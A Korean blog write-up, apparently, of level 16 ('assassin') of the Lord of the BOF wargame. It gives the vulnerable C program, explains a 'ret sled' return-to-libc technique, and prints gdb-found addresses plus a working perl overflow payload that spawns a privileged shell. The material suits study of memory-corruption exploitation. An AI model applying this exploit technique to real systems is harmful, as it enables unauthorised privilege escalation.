반응형

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}

이번 문제는 ret 부분에 \x40 이나 \xbf 가들어가면 커맨드가 씹히게 됩니다.

그말은 즉슨,, 버퍼사용 못한다는 말이고, 라이브러리를 사용하지 못한다는 거겟죠..

이번 문제에서 사용한 기법은 'ret sled' 입니다. 

ret sled 란 ret 부분(pop eip)에 ret 주소를 한번 더 넣어줌으로써,

eip가 pop 되기도 하지만,  esp도 4 늘어난다는 의미이기 때문에, 다음 명령을 가르키게 됩니다

따라서 다음부분부터는 RTL 처럼  &System | &exit | &/bin/sh | 을 넣어주게 된다면, 이번 문제는 풀리게 됩니다 . 

[giant@localhost giant]$ cp assassin /tmp/assassin

[giant@localhost giant]$ cd /tmp

[giant@localhost /tmp]$ gdb -q assassin 

(gdb) b main

Breakpoint 1 at 0x8048476

(gdb) r 

Starting program: /tmp/assassin 

Breakpoint 1, 0x8048476 in main ()

(gdb)   

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p exit

$2 = {void (int)} 0x400391e0 <exit>

(gdb) 

0x804851e <main+174>: ret 


[giant@localhost /tmp]$ ./sh

/bin/sh is at 0x400fbff9


[페이로드]

|NOP [44] | &RET | &system | &exit |&/bin/sh| 


공격


[giant@localhost giant]$ ./assassin $(perl -e 'print "\x90"x44,"\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"')

??????????????????????????????????????????????@?@廈@

bash$ my-pass

euid = 515

pushing me away

bash$ 

쉘이 따입니다 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level17.zombie_assassin  (0) 2014.08.25
(LOB)level16.assassin  (0) 2014.08.25
(LOB)level14.bugbear  (0) 2014.08.20
(LOB)level13.darkknight  (0) 2014.08.19
(LOB)level12.golem  (0) 2014.08.19
,